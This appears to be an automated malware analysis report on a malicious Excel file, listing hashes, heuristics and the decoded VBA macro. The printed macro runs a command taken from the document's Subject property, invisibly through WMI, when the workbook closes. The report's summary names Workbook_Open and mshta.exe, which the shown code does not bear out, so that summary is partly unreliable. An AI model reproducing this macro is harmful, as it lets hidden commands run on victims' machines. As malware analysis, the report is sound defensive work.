Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 73c0b2815d1c30f6…

MALICIOUS

Office (OLE)

33.0 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: f5df4770e15b0cf0db28b9d0046ba2b0 SHA-1: 3704f7a93d0962c4f5ecdab1d471c6872377859f SHA-256: 73c0b2815d1c30f669b9c0780d8c387d7e0bddea5d427878019068c55a6e94e9
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an Excel file containing VBA macros. The Workbook_Open event is configured to execute a function that uses CreateObject to instantiate 'winmgmts:Win32_Process' and then uses the 'Create' method to execute a command line. This function is designed to launch mshta.exe, indicating an attempt to execute a secondary payload. The macro also attempts to read the 'Subject' document property, which could be used to pass parameters to the executed payload.

Heuristics 4

  • Reference to mshta.exe high SC_STR_MSHTA
    Reference to mshta.exe
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set oProcess = CreateObject(A(0))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1806 bytes
SHA-256: d86b08d89cc5e25af12ed5e359dd62fcd51f3a4ec9913c8c01f2955c867bded9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub xxx()

End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_BeforeClose(Cancel As Boolean)

'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox

Worksheets(1).Activate
Dim p As DocumentProperty
 
For Each p In ActiveWorkbook.BuiltinDocumentProperties
If p.Name = "Subject" Then

At (p.Value)
End If
Next
End Sub


Function At(Str As String)
A = Array("winmgmts:Win32_Process", "winmgmts:Win32_ProcessStartup", "Create")



Set oProcess = CreateObject(A(0))

Set objStartup = CreateObject(A(1))
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = 0
Set oInParams = oProcess.Methods_(A(2)). _
    InParameters.SpawnInstance_


oInParams.CommandLine = Str
oInParams.ProcessStartupInformation = objConfig



Set oOutParams = oProcess.ExecMethod_(A(2), oInParams)
End Function





Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True